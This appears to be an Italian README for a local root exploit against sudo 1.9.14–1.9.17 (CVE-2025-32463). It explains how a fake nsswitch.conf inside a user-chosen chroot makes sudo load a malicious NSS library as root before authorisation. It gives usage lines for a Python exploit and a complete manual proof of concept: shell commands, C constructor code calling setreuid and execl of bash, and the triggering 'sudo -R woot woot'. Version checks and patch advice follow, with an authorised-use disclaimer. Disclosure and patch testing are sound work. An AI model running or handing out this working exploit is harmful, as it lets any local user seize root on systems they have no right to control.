
Exploit di escalation dei privilegi locali per sudo 1.9.14-1.9.17 che sfrutta la gestione di chroot della CVE-2025-32463, installando un costruttore di libreria NSS dannoso per generare una shell di root per qualsiasi utente locale.
Elevazione locale dei privilegi a root in sudo tramite l'opzione --chroot (-R).
Funziona per qualsiasi utente locale, inclusi gli account senza alcuna voce sudoers (ad es.
www-data).
sudo 1.9.14 – 1.9.17 esegue chroot() nella directory fornita dall'utente mentre la policy sudoers è
ancora in fase di valutazione — cioè prima della decisione di autorizzazione. Dopo quel chroot(), le
ricerche NSS di sudo leggono /etc/nsswitch.conf dall'interno del chroot dell'attaccante, e glibc trasforma un
nome di sorgente fasullo in dlopen("libnss_<name>.so.2") — caricato e il cui costruttore viene eseguito come root.
Inserendo un nsswitch.conf fasullo (passwd: /woot1337) insieme a un libnss_/woot1337.so.2 dannoso
il cui costruttore ELF esegue setreuid(0) + exec("/bin/bash") si ottiene una shell root. L'exploit
scatta prima del controllo sudoers, quindi il chiamante non ha bisogno di privilegi sudo.
1.9.14 – 1.9.171.9.17p1 (la modifica del chroot introdotta in 1.9.14 è stata annullata; la funzionalità è stata deprecata)Libreria standard di Python 3, un sudo setuid vulnerabile (1.9.14–1.9.17) e gcc sul sistema target (per
compilare il piccolo modulo libnss). Eseguire come utente a bassi privilegi.
python3 exploit.py # -> interactive root shell
python3 exploit.py -c 'id' # run a single command as root
etc/nsswitch.conf = passwd: /woot1337 (+ una copia di /etc/group).libnss_/woot1337.so.2 — un ELF il cui costruttore (__attribute__((constructor))) esegue
setreuid(0,0) ed execl("/bin/bash", …).sudo -R woot woot — sudo effettua il chroot in woot, risolve NSS, esegue dlopen su
libnss_/woot1337.so.2 come root, e il costruttore fornisce una shell root — prima ancora che sudo
verifichi se l'utente è autorizzato.PoC manuale canonico (Stratascale / pr0v3rbs "chwoot"):
cd $(mktemp -d); mkdir -p woot/etc libnss_
echo 'passwd: /woot1337' > woot/etc/nsswitch.conf; cp /etc/group woot/etc
cat > w.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void){setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/bash","/bin/bash","-p",NULL);}
EOF
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 w.c
sudo -R woot woot # -> root
sudo --version | head -1 # "Sudo version 1.9.14" .. "1.9.17" => vulnerable ; 1.9.17p1 => patched
Aggiornare sudo a ≥ 1.9.17p1. La funzionalità chroot è deprecata e non si dovrebbe fare affidamento su di essa.
Solo per test di sicurezza autorizzati e a scopo didattico. Utilizzalo solo su sistemi di tua proprietà o per i quali hai esplicita autorizzazione a testare.